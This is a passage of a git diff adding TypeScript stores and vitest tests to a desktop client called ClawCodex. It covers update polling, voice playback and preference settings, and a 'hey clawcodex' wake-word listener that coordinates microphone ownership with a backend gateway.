+      if (last.exit_code === 0 || (last.exit_code === null && completedAfterRestart(last, started.action_id))) {
+        return finishBackendApply(true)
+      }
+
+      if (!started.action_id && last.exit_code === null) {
+        try {
+          const status = await checkClawCodexUpdate(true)
+
+          if (legacyBackendReachedTarget(status, requestedTargetSha, previousVersion)) {
+            return finishBackendApply(true)
+          }
+        } catch {
+          continue
+        }
+      }
+
+      if (last.exit_code !== null) {
+        break
+      }
+    }
+
+    $backendUpdateApply.set({
+      ...$backendUpdateApply.get(),
+      applying: false,
+      stage: 'error',
+      error: 'apply-failed',
+      message: translateNow('updates.applyStatus.failed')
+    })
+
+    return { ok: false, error: 'apply-failed', message: 'Backend update failed.' }
+  } catch (error) {
+    const message = error instanceof Error ? error.message : String(error)
+    $backendUpdateApply.set({
+      ...$backendUpdateApply.get(),
+      applying: false,
+      stage: 'error',
+      error: 'apply-failed',
+      message
+    })
+
+    return { ok: false, error: 'apply-failed', message }
+  }
+}
+
+export function applyBackendUpdate(): Promise<DesktopUpdateApplyResult> {
+  if (backendUpdateInFlight) {
+    return backendUpdateInFlight
+  }
+
+  backendUpdateInFlight = runBackendUpdate().finally(() => {
+    backendUpdateInFlight = null
+  })
+
+  return backendUpdateInFlight
+}
+
+function ingestProgress(payload: DesktopUpdateProgress): void {
+  const current = $updateApply.get()
+  const log = [...current.log, { stage: payload.stage, message: payload.message, at: payload.at }].slice(-50)
+
+  const terminal =
+    payload.stage === 'error' ||
+    payload.stage === 'restart' ||
+    payload.stage === 'manual' ||
+    payload.stage === 'guiSkew'
+
+  $updateApply.set({
+    applying: !terminal,
+    stage: payload.stage,
+    message: payload.message,
+    // Streamed log lines carry percent: null; keep the last milestone percent
+    // (10/60/…) instead of resetting the bar to indeterminate on every line.
+    percent: payload.percent ?? current.percent,
+    error: payload.error,
+    // 'manual' carries the command to run in its message field.
+    command: payload.stage === 'manual' ? payload.message : current.command,
+    log
+  })
+}
+
+let pollerStarted = false
+let backgroundTimer: ReturnType<typeof setInterval> | null = null
+let lastFocusAt = 0
+let connectionUnsub: (() => void) | null = null
+let lastConnectionMode: string | undefined
+
+/** Wire up background polling + progress streaming. Idempotent. */
+export function startUpdatePoller(): void {
+  if (pollerStarted || typeof window === 'undefined') {
+    return
+  }
+
+  const bridge = window.clawcodexDesktop?.updates
+
+  if (!bridge) {
+    return
+  }
+
+  pollerStarted = true
+  void checkUpdates()
+  void checkBackendUpdates()
+  void refreshDesktopVersion()
+  bridge.onProgress(ingestProgress)
+
+  // The poller starts at mount, before the gateway connects — so the first
+  // backend check above sees mode≠remote and no-ops. Re-check once the
+  // connection resolves to remote.
+  connectionUnsub = $connection.subscribe(conn => {
+    if (conn?.mode === lastConnectionMode) {
+      return
+    }
+
+    lastConnectionMode = conn?.mode
+
+    if (conn?.mode === 'remote') {
+      void checkBackendUpdates()
+    }
+  })
+
+  window.addEventListener('focus', onFocus)
+  backgroundTimer = setInterval(
+    () => {
+      void checkUpdates()
+      void checkBackendUpdates()
+    },
+    30 * 60 * 1000
+  )
+}
+
+export function stopUpdatePoller(): void {
+  if (backgroundTimer !== null) {
+    clearInterval(backgroundTimer)
+    backgroundTimer = null
+  }
+
+  connectionUnsub?.()
+  connectionUnsub = null
+  lastConnectionMode = undefined
+  window.removeEventListener('focus', onFocus)
+  pollerStarted = false
+}
+
+function onFocus() {
+  const now = Date.now()
+
+  if (now - lastFocusAt < 5 * 60 * 1000) {
+    return
+  }
+
+  lastFocusAt = now
+  void checkUpdates()
+  void checkBackendUpdates()
+  void refreshDesktopVersion()
+}
diff --git a/ui-desktop/src/store/voice-playback.ts b/ui-desktop/src/store/voice-playback.ts
new file mode 100644
index 000000000..257b1009f
--- /dev/null
+++ b/ui-desktop/src/store/voice-playback.ts
@@ -0,0 +1,24 @@
+import { atom } from 'nanostores'
+
+export type VoicePlaybackSource = 'read-aloud' | 'voice-conversation'
+export type VoicePlaybackStatus = 'idle' | 'preparing' | 'speaking'
+
+export interface VoicePlaybackState {
+  audioElement: HTMLAudioElement | null
+  messageId: string | null
+  sequence: number
+  source: VoicePlaybackSource | null
+  status: VoicePlaybackStatus
+}
+
+export const $voicePlayback = atom<VoicePlaybackState>({
+  audioElement: null,
+  messageId: null,
+  sequence: 0,
+  source: null,
+  status: 'idle'
+})
+
+export function setVoicePlaybackState(next: VoicePlaybackState) {
+  $voicePlayback.set(next)
+}
diff --git a/ui-desktop/src/store/voice-prefs.test.ts b/ui-desktop/src/store/voice-prefs.test.ts
new file mode 100644
index 000000000..0904a5b53
--- /dev/null
+++ b/ui-desktop/src/store/voice-prefs.test.ts
@@ -0,0 +1,38 @@
+import { describe, expect, it, vi } from 'vitest'
+
+vi.mock('@/clawcodex', () => ({
+  getClawCodexConfigRecord: vi.fn(async () => ({})),
+  saveClawCodexConfig: vi.fn(async () => undefined)
+}))
+
+import { $voiceStopPhrase, applyVoiceStopPhraseFromConfig } from './voice-prefs'
+
+describe('applyVoiceStopPhraseFromConfig', () => {
+  it('defaults to "stop" when the key is absent (backend default applies)', () => {
+    applyVoiceStopPhraseFromConfig({ voice: {} })
+    expect($voiceStopPhrase.get()).toBe('stop')
+
+    applyVoiceStopPhraseFromConfig(null)
+    expect($voiceStopPhrase.get()).toBe('stop')
+  })
+
+  it('uses the first configured phrase so a custom phrase renders correctly', () => {
+    applyVoiceStopPhraseFromConfig({ voice: { stop_phrases: ['goodbye clawcodex', 'stop'] } })
+    expect($voiceStopPhrase.get()).toBe('goodbye clawcodex')
+  })
+
+  it('coerces a bare string like the backend does', () => {
+    applyVoiceStopPhraseFromConfig({ voice: { stop_phrases: 'halt' } })
+    expect($voiceStopPhrase.get()).toBe('halt')
+  })
+
+  it('null phrase when stop phrases are disabled — no notice is shown', () => {
+    applyVoiceStopPhraseFromConfig({ voice: { stop_phrases: [] } })
+    expect($voiceStopPhrase.get()).toBeNull()
+  })
+
+  it('malformed entries are skipped; all-blank list disables', () => {
+    applyVoiceStopPhraseFromConfig({ voice: { stop_phrases: ['  ', ''] } })
+    expect($voiceStopPhrase.get()).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/store/voice-prefs.ts b/ui-desktop/src/store/voice-prefs.ts
new file mode 100644
index 000000000..657395965
--- /dev/null
+++ b/ui-desktop/src/store/voice-prefs.ts
@@ -0,0 +1,74 @@
+import { atom } from 'nanostores'
+
+import { getClawCodexConfigRecord, saveClawCodexConfig } from '@/clawcodex'
+
+// "Read replies aloud" — mirrors the canonical `voice.auto_tts` config key (also
+// in Settings → Voice, honored by the messaging gateway) so the composer toggle
+// and the Settings switch are one source of truth, not two that can disagree.
+export const $autoSpeakReplies = atom<boolean>(false)
+
+/** Seed the atom from a loaded config payload (mount / refresh). */
+export function applyAutoSpeakFromConfig(config: { voice?: { auto_tts?: unknown } | null } | null | undefined) {
+  $autoSpeakReplies.set(Boolean(config?.voice?.auto_tts))
+}
+
+// First configured `voice.stop_phrases` entry — drives the "Say "stop" to end
+// the voice chat" notice shown when a voice conversation starts. `null` means
+// the user disabled stop phrases (`stop_phrases: []`), so no notice is shown.
+// Defaults to "stop" (the backend default) before config loads.
+export const $voiceStopPhrase = atom<string | null>('stop')
+
+/** Seed the stop-phrase atom from a loaded config payload (mount / refresh). */
+export function applyVoiceStopPhraseFromConfig(
+  config: { voice?: { stop_phrases?: unknown } | null } | null | undefined
+) {
+  const raw = config?.voice?.stop_phrases
+
+  if (raw === undefined) {
+    // Key absent — backend default applies.
+    $voiceStopPhrase.set('stop')
+
+    return
+  }
+
+  const list = Array.isArray(raw) ? raw : typeof raw === 'string' ? [raw] : []
+  const first = list.map(entry => String(entry).trim()).find(entry => entry.length > 0)
+
+  $voiceStopPhrase.set(first ?? null)
+}
+
+// `voice.thinking_sound` — ambient bubble blips while the agent works during a
+// voice conversation (default on, matching the backend default).
+export const $thinkingSoundEnabled = atom<boolean>(true)
+
+/** Seed the thinking-sound gate from a loaded config payload. */
+export function applyThinkingSoundFromConfig(
+  config: { voice?: { thinking_sound?: unknown } | null } | null | undefined
+) {
+  $thinkingSoundEnabled.set(config?.voice?.thinking_sound !== false)
+}
+
+/**
+ * Flip the preference and persist it. Optimistic — the atom updates instantly and
+ * reverts if the config write fails. Read-modify-writes the whole record (the
+ * same path the Settings page uses; there's no partial-update endpoint).
+ */
+export async function setAutoSpeakReplies(enabled: boolean): Promise<void> {
+  const previous = $autoSpeakReplies.get()
+
+  if (previous === enabled) {
+    return
+  }
+
+  $autoSpeakReplies.set(enabled)
+
+  try {
+    const record = await getClawCodexConfigRecord()
+    const voice = record.voice && typeof record.voice === 'object' ? (record.voice as Record<string, unknown>) : {}
+
+    await saveClawCodexConfig({ ...record, voice: { ...voice, auto_tts: enabled } })
+  } catch (error) {
+    $autoSpeakReplies.set(previous)
+    throw error
+  }
+}
diff --git a/ui-desktop/src/store/wake-word.test.ts b/ui-desktop/src/store/wake-word.test.ts
new file mode 100644
index 000000000..b5114b249
--- /dev/null
+++ b/ui-desktop/src/store/wake-word.test.ts
@@ -0,0 +1,373 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $wakeWord,
+  applyWakeStartResult,
+  applyWakeStatus,
+  applyWakeStopResult,
+  armWakeWord,
+  resetWakeWordState,
+  resumeWakeAfterVoice,
+  toggleWakeWord,
+  type WakeRequester
+} from './wake-word'
+
+const requester = (impl: (method: string, params?: Record<string, unknown>) => unknown) =>
+  vi.fn(async (method: string, params: Record<string, unknown> = {}) =>
+    impl(method, params)
+  ) as unknown as WakeRequester
+
+beforeEach(() => {
+  resetWakeWordState()
+})
+
+describe('applyWakeStatus', () => {
+  it('syncs availability, listening and phrase from wake.status', () => {
+    applyWakeStatus({
+      available: true,
+      hint: '',
+      listening: true,
+      owned_by_caller: true,
+      owner_surface: 'gui',
+      phrase: 'hey clawcodex',
+      provider: 'openwakeword'
+    })
+
+    expect($wakeWord.get()).toMatchObject({
+      available: true,
+      listening: true,
+      notice: '',
+      phrase: 'hey clawcodex'
+    })
+  })
+
+  it('tracks unavailability and carries the hint for the tooltip', () => {
+    applyWakeStatus({ available: false, hint: 'pip install openwakeword', listening: false, phrase: 'hey clawcodex' })
+
+    const state = $wakeWord.get()
+    expect(state.available).toBe(false)
+    expect(state.listening).toBe(false)
+    expect(state.notice).toBe('pip install openwakeword')
+  })
+
+  it('keeps the dead-mic hint visible while listening (audio_silent)', () => {
+    applyWakeStatus({
+      audio_silent: true,
+      available: true,
+      hint: 'Microphone delivers only silence — grant mic access',
+      listening: true,
+      phrase: 'hey clawcodex'
+    })
+
+    const state = $wakeWord.get()
+    expect(state.listening).toBe(true)
+    expect(state.notice).toBe('Microphone delivers only silence — grant mic access')
+  })
+})
+
+describe('toggleWakeWord', () => {
+  it('starts via wake.start with surface gui when off, and flips to listening', async () => {
+    applyWakeStatus({ available: true, listening: false, phrase: 'hey clawcodex' })
+
+    const request = requester(method => {
+      expect(method).toBe('wake.start')
+
+      return { owner_surface: 'gui', phrase: 'hey clawcodex', provider: 'porcupine', started: true }
+    })
+
+    await toggleWakeWord(request)
+
+    expect(request).toHaveBeenCalledWith('wake.start', { client_capture: true, persist: true, surface: 'gui' })
+    expect($wakeWord.get()).toMatchObject({ listening: true, notice: '', pending: false })
+  })
+
+  it('stops via wake.stop when listening', async () => {
+    applyWakeStatus({ available: true, listening: true, phrase: 'hey clawcodex' })
+
+    const request = requester(method => {
+      expect(method).toBe('wake.stop')
+
+      return { reason: null, stopped: true }
+    })
+
+    await toggleWakeWord(request)
+
+    expect(request).toHaveBeenCalledWith('wake.stop', { persist: true })
+    expect($wakeWord.get()).toMatchObject({ listening: false, notice: '', pending: false })
+  })
+
+  it('does NOT flip state on {started:false, reason} and surfaces the reason', async () => {
+    applyWakeStatus({ available: true, listening: false, phrase: 'hey clawcodex' })
+
+    await toggleWakeWord(requester(() => ({ owner_surface: 'tui', reason: 'owned', started: false })))
+
+    const state = $wakeWord.get()
+    expect(state.listening).toBe(false)
+    expect(state.notice).toBe('another surface owns the listener')
+    expect(state.available).toBe(true)
+  })
+
+  it('marks the feature unavailable when start refuses with reason unavailable', async () => {
+    applyWakeStatus({ available: true, listening: false, phrase: 'hey clawcodex' })
+
+    await toggleWakeWord(requester(() => ({ hint: 'Set PORCUPINE_ACCESS_KEY', reason: 'unavailable', started: false })))
+
+    const state = $wakeWord.get()
+    expect(state.available).toBe(false)
+    expect(state.listening).toBe(false)
+    expect(state.notice).toBe('Set PORCUPINE_ACCESS_KEY')
+  })
+
+  it('stays off and keeps the error as the notice when the RPC throws', async () => {
+    applyWakeStatus({ available: true, listening: false, phrase: 'hey clawcodex' })
+
+    await toggleWakeWord(
+      requester(() => {
+        throw new Error('ClawCodex gateway unavailable')
+      })
+    )
+
+    expect($wakeWord.get()).toMatchObject({
+      listening: false,
+      notice: 'ClawCodex gateway unavailable',
+      pending: false
+    })
+  })
+
+  it('ignores clicks while a toggle is already in flight', async () => {
+    applyWakeStatus({ available: true, listening: false, phrase: 'hey clawcodex' })
+
+    let resolveStart: (value: unknown) => void = () => undefined
+
+    const request = vi.fn(
+      async () =>
+        new Promise(resolve => {
+          resolveStart = resolve
+        })
+    ) as unknown as WakeRequester
+
+    const first = toggleWakeWord(request)
+    await toggleWakeWord(request)
+
+    expect(request).toHaveBeenCalledTimes(1)
+
+    resolveStart({ phrase: 'hey clawcodex', started: true })
+    await first
+
+    expect($wakeWord.get().listening).toBe(true)
+  })
+})
+
+describe('armWakeWord (gateway-ready auto-arm)', () => {
+  it('queries wake.status then arms and syncs the store', async () => {
+    const calls: string[] = []
+
+    const request = requester(method => {
+      calls.push(method)
+
+      if (method === 'wake.status') {
+        return { available: true, listening: false, phrase: 'hey clawcodex', provider: 'porcupine' }
+      }
+
+      return { phrase: 'hey clawcodex', started: true }
+    })
+
+    await armWakeWord(request)
+
+    expect(calls).toEqual(['wake.status', 'wake.start'])
+    expect($wakeWord.get()).toMatchObject({ available: true, listening: true, phrase: 'hey clawcodex' })
+  })
+
+  it('does not attempt to arm when the wake word is unavailable', async () => {
+    const calls: string[] = []
+
+    const request = requester(method => {
+      calls.push(method)
+
+      return { available: false, hint: 'no mic', listening: false, phrase: 'hey clawcodex' }
+    })
+
+    await armWakeWord(request)
+
+    expect(calls).toEqual(['wake.status'])
+    expect($wakeWord.get()).toMatchObject({ available: false, listening: false, notice: 'no mic' })
+  })
+
+  it('skips arming when this surface already listens (status sync only)', async () => {
+    const calls: string[] = []
+
+    const request = requester(method => {
+      calls.push(method)
+
+      return { available: true, listening: true, owned_by_caller: true, phrase: 'hey clawcodex' }
+    })
+
+    await armWakeWord(request)
+
+    expect(calls).toEqual(['wake.status'])
+    expect($wakeWord.get()).toMatchObject({ available: true, listening: true })
+  })
+
+  it('keeps the default hidden state when the backend lacks wake.* methods', async () => {
+    await armWakeWord(
+      requester(() => {
+        throw new Error('Unknown method: wake.status')
+      })
+    )
+
+    expect($wakeWord.get()).toMatchObject({ available: false, listening: false })
+  })
+
+  it('keeps the toggle off when auto-arm is refused (e.g. TUI owns the mic)', async () => {
+    const request = requester(method =>
+      method === 'wake.status'
+        ? { available: true, listening: false, owner_surface: 'tui', phrase: 'hey clawcodex' }
+        : { owner_surface: 'tui', reason: 'owned', started: false }
+    )
+
+    await armWakeWord(request)
+
+    const state = $wakeWord.get()
+    expect(state.available).toBe(true)
+    expect(state.listening).toBe(false)
+    expect(state.notice).toBe('another surface owns the listener')
+  })
+})
+
+describe('applyWakeStopResult', () => {
+  it('lands on off even when the backend says not_owner', () => {
+    applyWakeStatus({ available: true, listening: true, phrase: 'hey clawcodex' })
+
+    applyWakeStopResult({ reason: 'not_owner', stopped: false })
+
+    const state = $wakeWord.get()
+    expect(state.listening).toBe(false)
+    expect(state.notice).toBe('another surface owns the listener')
+  })
+})
+
+describe('applyWakeStartResult', () => {
+  it('adopts the backend phrase when the listener starts', () => {
+    applyWakeStartResult({ phrase: 'computer', provider: 'porcupine', started: true })
+
+    expect($wakeWord.get()).toMatchObject({ available: true, listening: true, phrase: 'computer' })
+  })
+})
+
+describe('resumeWakeAfterVoice (post-voice reconcile)', () => {
+  it('re-arms when config says enabled but the listener is down', async () => {
+    const calls: string[] = []
+
+    const request = requester(method => {
+      calls.push(method)
+
+      if (method === 'wake.resume') {
+        return { reason: 'not_owner', resumed: false }
+      }
+
+      if (method === 'wake.status') {
+        return { available: true, enabled: true, listening: false, phrase: 'hey clawcodex' }
+      }
+
+      return { phrase: 'hey clawcodex', started: true }
+    })
+
+    await resumeWakeAfterVoice(request)
+
+    expect(calls).toEqual(['wake.resume', 'wake.status', 'wake.start'])
+    expect($wakeWord.get()).toMatchObject({ listening: true })
+  })
+
+  it('re-arm start never passes persist (passive path must not write config)', async () => {
+    const startParams: Array<Record<string, unknown> | undefined> = []
+
+    const request = vi.fn(async (method: string, params?: Record<string, unknown>) => {
+      if (method === 'wake.resume') {
+        return { resumed: false }
+      }
+
+      if (method === 'wake.status') {
+        return { available: true, enabled: true, listening: false }
+      }
+
+      startParams.push(params)
+
+      return { started: true }
+    }) as unknown as WakeRequester
+
+    await resumeWakeAfterVoice(request)
+
+    expect(startParams).toEqual([{ client_capture: true, surface: 'gui' }])
+  })
+
+  it('stops after the resume alone brings the listener back', async () => {
+    const calls: string[] = []
+
+    const request = requester(method => {
+      calls.push(method)
+
+      if (method === 'wake.resume') {
+        return { resumed: true }
+      }
+
+      return { available: true, enabled: true, listening: true, owned_by_caller: true }
+    })
+
+    await resumeWakeAfterVoice(request)
+
+    expect(calls).toEqual(['wake.resume', 'wake.status'])
+    expect($wakeWord.get()).toMatchObject({ listening: true })
+  })
+
+  it('leaves the listener off when config says disabled', async () => {
+    const calls: string[] = []
+
+    const request = requester(method => {
+      calls.push(method)
+
+      if (method === 'wake.resume') {
+        return { resumed: false }
+      }
+
+      return { available: true, enabled: false, listening: false }
+    })
+
+    await resumeWakeAfterVoice(request)
+
+    expect(calls).toEqual(['wake.resume', 'wake.status'])
+    expect($wakeWord.get().listening).toBe(false)
+  })
+
+  it('yields when another surface owns the mic lease', async () => {
+    const calls: string[] = []
+
+    const request = requester(method => {
+      calls.push(method)
+
+      if (method === 'wake.resume') {
+        return { resumed: false }
+      }
+
+      if (method === 'wake.status') {
+        return { available: true, enabled: true, listening: false, owner_surface: 'tui' }
+      }
+
+      return { owner_surface: 'tui', reason: 'owned', started: false }
+    })
+
+    await resumeWakeAfterVoice(request)
+
+    expect(calls).toEqual(['wake.resume', 'wake.status', 'wake.start'])
+    expect($wakeWord.get().listening).toBe(false)
+  })
+
+  it('is a no-op against older backends without wake.* methods', async () => {
+    const request = requester(() => {
+      throw new Error('Unknown method: wake.resume')
+    })
+
+    await resumeWakeAfterVoice(request)
+
+    expect($wakeWord.get()).toMatchObject({ available: false, listening: false })
+  })
+})
diff --git a/ui-desktop/src/store/wake-word.ts b/ui-desktop/src/store/wake-word.ts
new file mode 100644
index 000000000..ce6853dda
--- /dev/null
+++ b/ui-desktop/src/store/wake-word.ts
@@ -0,0 +1,408 @@
+import { atom } from 'nanostores'
+
+import { type ClientWakeCaptureHandle, startClientWakeCapture } from '@/lib/wake-client-capture'
+import { $gateway } from '@/store/gateway'
+
+// "Hey ClawCodex" wake-word listener state for the composer toggle. The gateway is
+// the single source of truth (the listener lives in the backend and is shared
+// with the TUI under a single-owner mic lease); this atom is the renderer's
+// cache of that truth, refreshed from every wake.* RPC response we see.
+
+export interface WakeWordState {
+  /** Wake word can run at all (deps + mic + key). With `enabled` false too, hides the toggle. */
+  available: boolean
+  /** Config truth (wake_word.enabled) — keeps the ear mounted through transient refusals. */
+  enabled: boolean
+  /** The listener is armed and owned by this surface. */
+  listening: boolean
+  /** Last failure reason/hint (start refused, unavailable, …) for the tooltip. */
+  notice: string
+  /** A toggle RPC is in flight — guards double-clicks. */
+  pending: boolean
+  /** Human-facing wake phrase, e.g. "hey clawcodex". */
+  phrase: string
+}
+
+const INITIAL_WAKE_WORD_STATE: WakeWordState = {
+  available: false,
+  enabled: false,
+  listening: false,
+  notice: '',
+  pending: false,
+  phrase: ''
+}
+
+export const $wakeWord = atom<WakeWordState>(INITIAL_WAKE_WORD_STATE)
+
+/** Active client mic stream for remote wake (capture: client). */
+let clientCapture: ClientWakeCaptureHandle | null = null
+
+/** Stop client-side PCM capture (also called on wake.detected before voice). */
+export function stopClientCapture(): void {
+  clientCapture?.stop()
+  clientCapture = null
+}
+
+async function maybeStartClientCapture(result: WakeStartResponse | null | undefined): Promise<void> {
+  stopClientCapture()
+
+  if (!result?.started) {
+    return
+  }
+
+  const mode = (result.capture || '').toLowerCase()
+
+  if (mode !== 'client' && mode !== 'remote' && mode !== 'external') {
+    return
+  }
+
+  try {
+    clientCapture = await startClientWakeCapture({
+      frameLength: result.frame_length,
+      request: gatewayRequester
+    })
+  } catch (error) {
+    const current = $wakeWord.get()
+    $wakeWord.set({
+      ...current,
+      listening: false,
+      notice: error instanceof Error ? error.message : 'Failed to open the client microphone for wake word',
+      pending: false
+    })
+
+    // Best-effort: release server lease if client mic failed.
+    try {
+      await gatewayRequester('wake.stop', {})
+    } catch {
+      // ignore
+    }
+  }
+}
+
+export interface WakeStatusResponse {
+  /** Armed but the selected backend input delivers only silence. */
+  audio_silent?: boolean
+  available?: boolean
+  /** local | client | auto — where PCM is captured. */
+  capture?: string
+  configured_surface?: string
+  /** Config truth (wake_word.enabled) — drives post-voice re-arm. */
+  enabled?: boolean
+  frame_length?: number
+  hint?: string
+  input_device?: WakeInputDeviceStatus
+  listening?: boolean
+  local_input_available?: boolean
+  owned_by_caller?: boolean
+  owner_surface?: string | null
+  phrase?: string
+  provider?: string
+  sample_rate?: number
+}
+
+export interface WakeStartResponse {
+  capture?: string
+  enabled_persisted?: boolean
+  frame_length?: number
+  hint?: string
+  owner_surface?: string | null
+  phrase?: string
+  provider?: string
+  reason?: string
+  sample_rate?: number
+  started?: boolean
+}
+
+export interface WakeStopResponse {
+  disabled_persisted?: boolean
+  reason?: string | null
+  stopped?: boolean
+}
+
+export interface WakeInputDeviceStatus {
+  default_samplerate?: number
+  error?: string
+  hostapi?: string
+  hostapi_index?: number
+  max_input_channels?: number
+  name?: string
+  selector?: number | string | null
+}
+
+/** Minimal requester shape — satisfied by both `useGatewayRequest`'s
+ *  `requestGateway` and the `$gateway` instance wrapper below. */
+export type WakeRequester = <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+
+// First-use wake.start lazy-installs the detection engine (onnxruntime is a
+// large wheel) — that legitimately takes minutes. The default 30s WS timeout
+// fired mid-install, leaving a dead button that went blue on its own later.
+const WAKE_START_TIMEOUT_MS = 180_000
+
+const gatewayRequester: WakeRequester = async <T>(method: string, params: Record<string, unknown> = {}) => {
+  const gateway = $gateway.get()
+
+  if (!gateway) {
+    throw new Error('ClawCodex gateway unavailable')
+  }
+
+  return method === 'wake.start'
+    ? gateway.request<T>(method, params, WAKE_START_TIMEOUT_MS)
+    : gateway.request<T>(method, params)
+}
+
+// Friendly text for the gateway's wake refusal codes (mirrors the TUI's
+// START_REASON_TEXT). Unknown codes fall through raw so new server-side
+// codes stay visible instead of silently disappearing.
+const REASON_TEXT: Record<string, string> = {
+  disabled: 'click to enable',
+  disabled_for_surface: 'scoped to another surface (config wake_word.surface)',
+  not_owner: 'another surface owns the listener',
+  owned: 'another surface owns the listener',
+  unavailable: 'unavailable'
+}
+
+const noticeFrom = (result: { hint?: string; reason?: string | null } | null | undefined): string => {
+  const hint = result?.hint?.trim()
+
+  if (hint) {
+    return hint
+  }
+
+  const reason = result?.reason?.trim()
+
+  return reason ? (REASON_TEXT[reason] ?? reason) : ''
+}
+
+/** Sync the atom from a `wake.status` payload (mount / gateway-ready). */
+export function applyWakeStatus(status: WakeStatusResponse | null | undefined): void {
+  const current = $wakeWord.get()
+  const listening = Boolean(status?.listening)
+  // "Armed but deaf" keeps its input-device hint visible in the tooltip even
+  // though the toggle shows listening.
+  const silent = Boolean(status?.audio_silent)
+
+  $wakeWord.set({
+    ...current,
+    available: Boolean(status?.available),
+    enabled: Boolean(status?.enabled),
+    listening,
+    notice: listening && !silent ? '' : noticeFrom(status),
+    phrase: status?.phrase?.trim() || current.phrase
+  })
+}
+
+/** Sync the atom from a `wake.start` response. A `{started:false, reason}`
+ *  refusal keeps the toggle off and surfaces the reason as the tooltip. */
+export function applyWakeStartResult(result: WakeStartResponse | null | undefined): void {
+  const current = $wakeWord.get()
+
+  if (result?.started) {
+    $wakeWord.set({
+      ...current,
+      available: true,
+      enabled: true,
+      listening: true,
+      notice: '',
+      pending: false,
+      phrase: result.phrase?.trim() || current.phrase
+    })
+    void maybeStartClientCapture(result)
+
+    return
+  }
+
+  stopClientCapture()
+
+  $wakeWord.set({
+    ...current,
+    // The backend probes requirements on start; an explicit "unavailable"
+    // refusal means the feature can't run here right now. Keep `enabled`
+    // (config truth) as-is so the button stays mounted through transient
+    // refusals instead of vanishing mid-session.
+    available: result?.reason === 'unavailable' ? false : current.available,
+    listening: false,
+    notice: noticeFrom(result),
+    pending: false
+  })
+}
+
+/** Sync the atom from a `wake.stop` response. `{stopped:false, reason:'not_owner'}`
+ *  still means WE are not listening, so the toggle lands on off either way. */
+export function applyWakeStopResult(result: WakeStopResponse | null | undefined): void {
+  const current = $wakeWord.get()
+
+  stopClientCapture()
+  $wakeWord.set({
+    ...current,
+    enabled: result?.disabled_persisted ? false : current.enabled,
+    listening: false,
+    notice: result?.stopped ? '' : noticeFrom(result),
+    pending: false
+  })
+}
+
+/**
+ * Gateway-ready sync + auto-arm (wiring.tsx). Queries `wake.status` first so
+ * the button knows availability/phrase even when arming is refused, then arms
+ * the listener for this surface exactly like the historical auto-arm did.
+ * Best-effort: a gateway without the wake.* methods leaves the atom at its
+ * hidden default.
+ */
+export async function armWakeWord(request: WakeRequester = gatewayRequester): Promise<void> {
+  try {
+    const status = await request<WakeStatusResponse>('wake.status', {
+      client_capture: true,
+      surface: 'gui'
+    })
+
+    applyWakeStatus(status)
+
+    if (!status?.available || status.listening) {
+      // Armed already (e.g. another surface/restart) — reattach feeder if client.
+      if (status?.listening) {
+        const mode = (status.capture || '').toLowerCase()
+
+        if (mode === 'client' || mode === 'remote' || mode === 'external') {
+          void maybeStartClientCapture({
+            started: true,
+            capture: 'client',
+            frame_length: status.frame_length ?? 1280
+          })
+        }
+      }
+
+      return
+    }
+
+    const result = await request<WakeStartResponse>('wake.start', {
+      surface: 'gui',
+      client_capture: true
+    })
+
+    applyWakeStartResult(result)
+  } catch {
+    // Older backends / transient failures — keep whatever we last knew.
+  }
+}
+
+/** The composer button's click handler: stop when listening, start otherwise. */
+export async function toggleWakeWord(request: WakeRequester = gatewayRequester): Promise<void> {
+  const state = $wakeWord.get()
+
+  if (state.pending) {
+    return
+  }
+
+  $wakeWord.set({
+    ...state,
+    // First arm may lazy-install the detection engine — say so instead of
+    // freezing a silent disabled button for the duration.
+    notice: state.listening ? '' : 'arming — first use may take a minute while the engine installs',
+    pending: true
+  })
+
+  try {
+    if (state.listening) {
+      applyWakeStopResult(await request<WakeStopResponse>('wake.stop', { persist: true }))
+    } else {
+      // persist: true — a deliberate click is consent, so the backend flips
+      // wake_word.enabled in config.yaml (on/off) and the choice sticks for
+      // future sessions. Auto-arm (armWakeWord) never passes it.
+      applyWakeStartResult(
+        await request<WakeStartResponse>('wake.start', {
+          persist: true,
+          surface: 'gui',
+          client_capture: true
+        })
+      )
+    }
+  } catch (error) {
+    const current = $wakeWord.get()
+
+    $wakeWord.set({
+      ...current,
+      notice: error instanceof Error ? error.message : String(error),
+      pending: false
+    })
+  }
+}
+
+const sleep = (ms: number) => new Promise<void>(resolve => setTimeout(resolve, ms))
+
+/**
+ * Post-voice-turn reconcile: the wake word is a persistent setting, so ending a
+ * voice conversation must land the listener back where config says it belongs.
+ * `wake.resume` alone isn't enough — the mic can still be held by the just-torn
+ * -down WebRTC capture, and a fire-and-forget resume that loses that race left
+ * the ear silently off until the user re-toggled. Resume, then verify against
+ * `wake.status` (config `enabled` is the authority) and re-arm, with a couple
+ * of spaced retries to ride out mic-release latency. Never passes `persist` —
+ * this is a passive path and must not flip config.
+ */
+export async function resumeWakeAfterVoice(request: WakeRequester = gatewayRequester): Promise<void> {
+  try {
+    await request('wake.resume', {})
+  } catch {
+    // Older backend without wake.* — nothing to reconcile.
+    return
+  }
+
+  for (let attempt = 0; attempt < 3; attempt++) {
+    try {
+      const status = await request<WakeStatusResponse>('wake.status', {
+        client_capture: true,
+        surface: 'gui'
+      })
+
+      applyWakeStatus(status)
+
+      // Config says off (or the feature can't run) — off is the correct rest
+      // state. A user /wake off during the voice turn stays respected.
+      if (!status?.enabled || !status.available) {
+        return
+      }
+
+      if (status.listening) {
+        // Server lease is still armed (e.g. wake.resume after voice).
+        // Client PCM was stopped on wake.detected — reattach if needed.
+        const mode = (status.capture || '').toLowerCase()
+
+        if (mode === 'client' || mode === 'remote' || mode === 'external') {
+          void maybeStartClientCapture({
+            started: true,
+            capture: 'client',
+            frame_length: status.frame_length ?? 1280
+          })
+        }
+
+        return
+      }
+
+      const started = await request<WakeStartResponse>('wake.start', {
+        surface: 'gui',
+        client_capture: true
+      })
+
+      applyWakeStartResult(started)
+
+      if (started?.started) {
+        return
+      }
+
+      // Another surface holds the mic lease — theirs to keep.
+      if (started?.reason === 'owned') {
+        return
+      }
+    } catch {
+      // Transient (mic still releasing) — fall through to the next attempt.
+    }
+
+    await sleep(1500)
+  }
+}
+
+/** Test-only reset. */
+export function resetWakeWordState(): void {
+  stopClientCapture()
+  $wakeWord.set(INITIAL_WAKE_WORD_STATE)
+}
diff --git a/ui-desktop/src/store/windows.test.ts b/ui-desktop/src/store/windows.test.ts
new file mode 100644
index 000000000..a9d485df3
